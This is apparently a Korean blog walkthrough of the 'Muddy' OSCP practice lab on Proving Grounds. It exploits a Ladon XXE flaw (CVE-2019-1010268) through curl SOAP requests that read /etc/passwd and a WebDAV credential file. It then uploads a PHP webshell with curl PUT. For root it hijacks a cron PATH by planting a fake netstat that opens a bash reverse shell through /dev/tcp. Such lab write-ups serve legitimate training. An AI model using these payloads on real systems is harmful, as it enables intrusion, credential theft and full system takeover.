1. Information Gathering
- Port Scanning


: Service Enum
- 8888 포트


Ladon?
밴더 사에 들어가 보면
"Ladon is a framework for exposing methods to several Internet service protocols. Once a method is ladonized it is automatically served through all the interfaces that your ladon installation contains. Ladon's interface implemetations are added in a modular fashion making it very easy [sic] extend Ladon's protocol support. Ladon runs on all Major OS's[sic] (Windows, Mac and Linux) and supports both Python 2 and 3."
라고 한다.
구글링을 좀 해보니
이번 박스는 XXE Injection 취약점을 통해
해결해야 하는 문제로 공식 CVE는
CVE-2019-1010268
Ladon Framework for Python - XML External Entity Expansion
XXE Injdection은
XML 입력을 구문 분석(parses) 하는
응용 프로그램에 대한 공격 유형으로
사람이 읽을 수 있고 기계가 읽을 수 있는 형식으로
문서를 인코딩하기 위한 일련의 규칙을 정의하는 마크업 언어.
기본적으로 많은 XML 프로세서는
XML 처리 중에 역참조되고 평가되는 URI인
외부 엔티티의 사양을 허용한다.
XML 문서를 구문 분석(parsed) 할 때
파서는 XML 문서 내부의 지정된 URI에 요청하고
콘텐츠를 포함할 수 있으며
공격에는 암호 또는 개인 사용자 데이터와 같은
민감한 데이터가 포함될 수 있는 로컬 파일 공개가
포함된다.
8888 포트의 muddy 버튼을 클릭해 보면
다음과 같은 페이지 확인이 가능하며

checkout이라는 메서드가
활성화되어 있는 것을 확인할 수 있다.
어렵지 않게 관련 PoC를 찾을 수 있으나

그대로 돌려보면 당연히 파서 에러가 뜨고

URL 경로, urn 태크 명 등을
변경해 주고 요청을 보내면
정상적으로 반영되어
XXE 취약점이 있는 것을
확인할 수 있다.
(takudaddy 출력)

- 수정 코드
curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd "takudaddy">
]>
<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:urn=\"urn:HelloService\"><soapenv:Header/>
<soapenv:Body>
<urn:checkout>
<uid xsi:type=\"xsd:string\">&passwd;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -
* 참고로 기본 XXE Injection 코드는
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>&xxe;</cwe>
<cvss>&xxe;</cvss>
<reward>&xxe;</reward>
</bugreport>
2. Exploitation
찾은 문서에 포함된 PoC를 보면

"XML SOAP 요청에 DTD를 포함함으로써
공격자는 서버의 응답에 외부 엔티티를 포함할 수 있다.
단순 서비스의 경우 다음 DTD를 포함하면
file://을 사용하여 서버에서 "/etc/passwd" 파일이 노출된다"
라고 되어있고
마찬가지로 경로 및 파일 명을 변경 후 돌려보면

정상적으로 응답 패킷 내
passwd 파일이 포함되어 노출된다.
(ian 유저 확인)
- 수정 코드
curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:HelloService\"><soapenv:Header/>
<soapenv:Body>
<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -
80포트의 디렉터리를 검색해 보면
webdav라는 경로 확인이 가능한데

접근해 보면 로그인을 위한
credential이 필요하다.

이후 조금 더 구글링을 해보면
webdav 폴더 내 계정 정보가 담겨있는
파일이 있는 것을 확인할 수 있는데
해당 파일 경로는 다음과 같다.
1) Webdav password location
: var/www/html/webdav/passwd.dav
해당 파일을 불러와 보면
계정 정보 확인이 가능하고

administrant:$apr1$GUG1OnCu$uiSLaAQojCm14lPMwISDi0
비밀번호를 크래킹 한 뒤
로그인을 시도하거나
curl로 직접 리버스 쉘 파일을
업로드한다.
2) Uploading PHP rce on WebDav via CURL
: curl -X PUT -u administrant:password http://abc.com/webdav/myrce.php --data-binary @"/usr/share/webshells/php/codeexec.php"


이제 리스너를 기동 후 해당 파일을
실행시키면 침투가 가능하다.

침투 성공
3. Privilege Escalation
wp-config.php

wpadmin:ec99e2a005aa8cf0550ddfbdcde11141
mysql로 접속한 뒤

ExtraCoolMuddyAdministrator:$P$BU6ICjibduSu0sNxotfLN2Ub3TLXhA0

-삽질 끝-
: Check Crontab


권한 상승을 위한 팁은
crontab에서 확인이 가능한데
1. 우선 환경변수 처음 경로가
/dev/shm으로 되어 있고
해당 디렉터리의 권한을 보면

777로 되어 있다.
2. 또한 크론탭 마지막 줄을 보면
netstat 명령어가 root 권한으로
매 분마다 돌아가고 있는 것을
확인할 수 있는데
해당 명령어가 절대경로
(/usr/bin/netstat)로
실행되고 있지 않기 때문에
시스템은 해당 명령어의 위치를
환경 변수에서 찾게 될 것이고
가장 우선순위에 있는 경로에
netstat 명령어를 위치해 놓고
실행 권한을 주면(/dev/shm/netstat)
cron job에 설정되어 있는 데로
해당 파일이 매 분마다 루트 권한으로
실행될 것이다.
/dev/shm 경로 아래 임의의
netstat 파일을 만들어 주고
실행시킨다.

* 참고로
nc -e 옵션을 못 사용하는 경우도 있어
미리 확인이 필요하고, 못 사용하는 경우
bash로 리버스 쉘을 만들어 주면 된다.
www-data@muddy:/dev/shm$ cat <<EOF>> ./netstat
> #!/bin/bash
> /bin/bash -i >& /dev/tcp/192.168.49.51/443 0>&1
> EOF
리스너 기동 후 조금 기다리면

끝
'OSCP > Proving Ground' 카테고리의 다른 글
6. Bratarina (WARM UP) Linux (SMTP) (0) | 2022.05.28 |
---|---|
5. Wombo (WARM UP) Linux (6379 : Redis(Remote Dictionary Server)) (0) | 2022.05.26 |
3. Twiggy (WARM UP) - Linux (4505/4506 port) (0) | 2022.05.23 |
2. ClamAV (WARM UP) - Linux (SNMP check) (0) | 2022.05.22 |
1. Fantastic (WARM UP) - Linux (1) | 2022.05.21 |